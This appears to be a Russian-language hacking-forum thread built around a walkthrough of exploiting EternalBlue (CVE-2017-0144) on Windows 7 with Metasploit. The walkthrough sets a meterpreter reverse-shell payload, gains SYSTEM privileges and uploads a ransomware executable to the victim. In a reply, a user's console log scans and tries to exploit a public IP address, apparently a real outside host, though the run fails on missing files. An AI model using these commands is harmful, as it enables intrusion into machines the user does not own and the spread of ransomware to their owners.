Статья EternalBlue — Эксплуатация Windows PC
Vander
CodebyTeam
Привет! Наверняка многие из вас слышали про EternalBlue (или ETERNALBLUE[1], CVE-2017-0144) — кодовое имя эксплойта, эксплуатирующего компьютерную уязвимость в Windows-реализации протокола SMB, к разработке которого, как считается, причастно Агентство национальной безопасности (США). Секретные сведения об уязвимости и исполняемый код эксплойта были опубликованы хакерской группой The Shadow Brokers 14 апреля 2017 года. Уязвимость была использована при распространении вредоносного ПО WannaCry в мае 2017 года. В этой статье я бы хотел обратить на него внимание, и попробовать в действии.
В последней версии Metasploit Framework присутствует, необходимый нам, для этого модуль.
Этот модуль является портом эксплойта группы ETERNALBLUE, частью инструментария FuzzBunch, выпущенного Shadow Brokers. Существует операция переполнения буфера в Srv! SrvOs2FeaToNt. Размер вычисляется в Srv! SrvOs2FeaListSizeToNt, с математической ошибкой, когда DWORD вычитается в WORD. Пул ядра подготовлен так, чтобы переполнение было хорошо продуманно, чтобы перезаписать буфер SMBv1. Фактический захват RIP будет завершен позже в srvnet! SrvNetWskReceiveComplete. Этот эксплоит, как и оригинал, может не срабатывать с 100% шансом в течение определенного промежутка времени, и должен запускаться непрерывно до момента срабатывания.
Приступим к осуществлению, в качестве атакующего хоста Kali Linux 2017.1, в качестве цели Windows 7.
> msf exploit(ms17_010_eternalblue) >set rhost 192.168.1.105
> msf exploit(ms17_010_eternalblue) >set lhost 192.168.1.21
> msf exploit(ms17_010_eternalblue) >set payload windows/x64/meterpreter/reverse_tcp
> msf exploit(ms17_010_eternalblue) >exploit
Эксплоит срабатывает на отлично, получаем системные привилегии:
> getsystem
Немного усугубим ситуацию, закинув целевому хосту вирус-вымогатель (аналог WannaCry)
> upload /root/ransomware.exe C:\\
Вот собственно, и все. Спасибо за внимание.
Вложения
id2746
плюс настраивается быстрее чем даблпульсар и не требует wine.
Спасибо!
exe111
valerian38
отлично отработал на win7 x64, пробило с первого раза. Посмотреть вложение 10207
плюс настраивается быстрее чем даблпульсар и не требует wine.
Спасибо!
ghostphisher
гарант codeby
Apton
Well-known member
Вложения
Vander
CodebyTeam
Apton
Well-known member
Vander
CodebyTeam
Dat Sec
Вложения
Vander
CodebyTeam
Dat Sec
debian2017
Well-known member
Vander
CodebyTeam
Vander
CodebyTeam
гуглил , сделал как сказано на других форумах , все так же не помогло
гуглил , сделал как сказано на других форумах , все так же не помогло
Active member
ghostphisher
гарант codeby
1Sys-Admin1
Payload caught by AV? Fly under the radar with Dynamic Payloads in
Metasploit Pro — learn more on
=[ metasploit v4.14.21-dev ]
+ — —=[ 1656 exploits — 947 auxiliary — 293 post ]
+ — —=[ 486 payloads — 40 encoders — 9 nops ]
+ — —=[ Free Metasploit Pro trial:
msf > use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(smb_ms17_010) > show options
Module options (auxiliary/scanner/smb/smb_ms17_010):
Name Current Setting Required Description
—- ————— ——— ————
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads
msf auxiliary(smb_ms17_010) > set RHOSTS 185.34.20.132
RHOSTS => 185.34.20.132
msf auxiliary(smb_ms17_010) > run
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(smb_ms17_010) > back
msf > use exploit/windows/smb/eternalblue_doublepulsar
msf exploit(eternalblue_doublepulsar) > show options
Module options (exploit/windows/smb/eternalblue_doublepulsar):
Name Current Setting Required Description
—- ————— ——— ————
DOUBLEPULSARPATH /root/Eternalblue-Doublepulsar-Metasploit/deps/ yes Path directory of Doublepulsar
ETERNALBLUEPATH /root/Eternalblue-Doublepulsar-Metasploit/deps/ yes Path directory of Eternalblue
PROCESSINJECT wlms.exe yes Name of process to inject into (Change to lsass.exe for x64)
RHOST yes The target address
RPORT 445 yes The SMB service port (TCP)
TARGETARCHITECTURE x86 yes Target Architecture (Accepted: x86, x64)
WINEPATH /root/.wine/drive_c/ yes WINE drive_c path
Id Name
— —-
8 Windows 7 (all services pack) (x86) (x64)
msf exploit(eternalblue_doublepulsar) > set RHOST 185.34.20.132
RHOST => 185.34.20.132
msf exploit(eternalblue_doublepulsar) > SET PROCESSINJECT explorer.exe
[-] Unknown command: SET.
msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT explorer.exe
PROCESSINJECT => explorer.exe
msf exploit(eternalblue_doublepulsar) > show options
Module options (exploit/windows/smb/eternalblue_doublepulsar):
Name Current Setting Required Description
—- ————— ——— ————
DOUBLEPULSARPATH /root/Eternalblue-Doublepulsar-Metasploit/deps/ yes Path directory of Doublepulsar
ETERNALBLUEPATH /root/Eternalblue-Doublepulsar-Metasploit/deps/ yes Path directory of Eternalblue
PROCESSINJECT explorer.exe yes Name of process to inject into (Change to lsass.exe for x64)
RHOST 185.34.20.132 yes The target address
RPORT 445 yes The SMB service port (TCP)
TARGETARCHITECTURE x86 yes Target Architecture (Accepted: x86, x64)
WINEPATH /root/.wine/drive_c/ yes WINE drive_c path
Id Name
— —-
8 Windows 7 (all services pack) (x86) (x64)
msf exploit(eternalblue_doublepulsar) > run
[*] Started reverse TCP handler on 192.168.88.249:4444[*] 185.34.20.132:445 — Generating Eternalblue XML data
[*] 185.34.20.132:445 — Generating Doublepulsar XML data
[*] 185.34.20.132:445 — Generating payload DLL for Doublepulsar
[-] 185.34.20.132:445 — Exploit failed: Errno::ENOENT No such file or directory @ rb_sysopen — /root/.wine/drive_c/eternal11.dll
[*] Exploit completed, but no session was created.
msf exploit(eternalblue_doublepulsar) > set WINEPATH /root/dark/.wine/drive_c/
WINEPATH => /root/dark/.wine/drive_c/
msf exploit(eternalblue_doublepulsar) > exploit [*] Started reverse TCP handler on 192.168.88.249:4444
[*] 185.34.20.132:445 — Generating Eternalblue XML data
cp: не удалось выполнить stat для ‘/root/Eternalblue-Doublepulsar-Metasploit/deps//Eternalblue-2.2.0.Skeleton.xml’: Нет такого файла или каталога
sed: невозможно прочитать /root/Eternalblue-Doublepulsar-Metasploit/deps//Eternalblue-2.2.0.xml: Нет такого файла или каталога
sed: невозможно прочитать /root/Eternalblue-Doublepulsar-Metasploit/deps//Eternalblue-2.2.0.xml: Нет такого файла или каталога
sed: невозможно прочитать /root/Eternalblue-Doublepulsar-Metasploit/deps//Eternalblue-2.2.0.xml: Нет такого файла или каталога
sed: невозможно прочитать /root/Eternalblue-Doublepulsar-Metasploit/deps//Eternalblue-2.2.0.xml: Нет такого файла или каталога
[*] 185.34.20.132:445 — Generating Doublepulsar XML data
cp: не удалось выполнить stat для ‘/root/Eternalblue-Doublepulsar-Metasploit/deps//Doublepulsar-1.3.1.Skeleton.xml’: Нет такого файла или каталога
sed: невозможно прочитать /root/Eternalblue-Doublepulsar-Metasploit/deps//Doublepulsar-1.3.1.xml: Нет такого файла или каталога
sed: невозможно прочитать /root/Eternalblue-Doublepulsar-Metasploit/deps//Doublepulsar-1.3.1.xml: Нет такого файла или каталога
sed: невозможно прочитать /root/Eternalblue-Doublepulsar-Metasploit/deps//Doublepulsar-1.3.1.xml: Нет такого файла или каталога
sed: невозможно прочитать /root/Eternalblue-Doublepulsar-Metasploit/deps//Doublepulsar-1.3.1.xml: Нет такого файла или каталога
sed: невозможно прочитать /root/Eternalblue-Doublepulsar-Metasploit/deps//Doublepulsar-1.3.1.xml: Нет такого файла или каталога
sed: невозможно прочитать /root/Eternalblue-Doublepulsar-Metasploit/deps//Doublepulsar-1.3.1.xml: Нет такого файла или каталога
[*] 185.34.20.132:445 — Generating payload DLL for Doublepulsar
[-] 185.34.20.132:445 — Exploit failed: Errno::ENOENT No such file or directory @ rb_sysopen — /root/dark/.wine/drive_c/eternal11.dll
[*] Exploit completed, but no session was created.
msf exploit(eternalblue_doublepulsar) > set WINEPATH /root/dark/.wine/drive_c/
WINEPATH => /root/dark/.wine/drive_c/
msf exploit(eternalblue_doublepulsar) > exploit [*] Started reverse TCP handler on 192.168.88.249:4444
[*] 185.34.20.132:445 — Generating Eternalblue XML data
cp: не удалось выполнить stat для ‘/root/Eternalblue-Doublepulsar-Metasploit/deps//Eternalblue-2.2.0.Skeleton.xml’: Нет такого файла или каталога
sed: невозможно прочитать /root/Eternalblue-Doublepulsar-Metasploit/deps//Eternalblue-2.2.0.xml: Нет такого файла или каталога
sed: невозможно прочитать /root/Eternalblue-Doublepulsar-Metasploit/deps//Eternalblue-2.2.0.xml: Нет такого файла или каталога
sed: невозможно прочитать /root/Eternalblue-Doublepulsar-Metasploit/deps//Eternalblue-2.2.0.xml: Нет такого файла или каталога
sed: невозможно прочитать /root/Eternalblue-Doublepulsar-Metasploit/deps//Eternalblue-2.2.0.xml: Нет такого файла или каталога
[*] 185.34.20.132:445 — Generating Doublepulsar XML data
cp: не удалось выполнить stat для ‘/root/Eternalblue-Doublepulsar-Metasploit/deps//Doublepulsar-1.3.1.Skeleton.xml’: Нет такого файла или каталога
sed: невозможно прочитать /root/Eternalblue-Doublepulsar-Metasploit/deps//Doublepulsar-1.3.1.xml: Нет такого файла или каталога
sed: невозможно прочитать /root/Eternalblue-Doublepulsar-Metasploit/deps//Doublepulsar-1.3.1.xml: Нет такого файла или каталога
sed: невозможно прочитать /root/Eternalblue-Doublepulsar-Metasploit/deps//Doublepulsar-1.3.1.xml: Нет такого файла или каталога
sed: невозможно прочитать /root/Eternalblue-Doublepulsar-Metasploit/deps//Doublepulsar-1.3.1.xml: Нет такого файла или каталога
sed: невозможно прочитать /root/Eternalblue-Doublepulsar-Metasploit/deps//Doublepulsar-1.3.1.xml: Нет такого файла или каталога
sed: невозможно прочитать /root/Eternalblue-Doublepulsar-Metasploit/deps//Doublepulsar-1.3.1.xml: Нет такого файла или каталога
[*] 185.34.20.132:445 — Generating payload DLL for Doublepulsar
[-] 185.34.20.132:445 — Exploit failed: Errno::ENOENT No such file or directory @ rb_sysopen — /root/dark/.wine/drive_c/eternal11.dll
[*] Exploit completed, but no session was created.
msf exploit(eternalblue_doublepulsar) > set WINEPATH /root/dark/.wine/drive_c/
WINEPATH => /root/dark/.wine/drive_c/
msf exploit(eternalblue_doublepulsar) > exploit [*] Started reverse TCP handler on 192.168.88.249:4444
[*] 185.34.20.132:445 — Generating Eternalblue XML data
[*] 185.34.20.132:445 — Generating Doublepulsar XML data
[*] 185.34.20.132:445 — Generating payload DLL for Doublepulsar
[-] 185.34.20.132:445 — Exploit failed: Errno::ENOENT No such file or directory @ rb_sysopen — /root/dark/.wine/drive_c/eternal11.dll
[*] Exploit completed, but no session was created.
msf exploit(eternalblue_doublepulsar) > set WINEPATH/root/Eternalblue-Doublepulsar-Metasploit/.wine/drive_c/
[-] Unknown variable
Usage: set [option] [value]
Set the given option to value. If value is omitted, print the current value.
If both are omitted, print options that are currently set.
If run from a module context, this will set the value in the module’s
datastore. Use -g to operate on the global datastore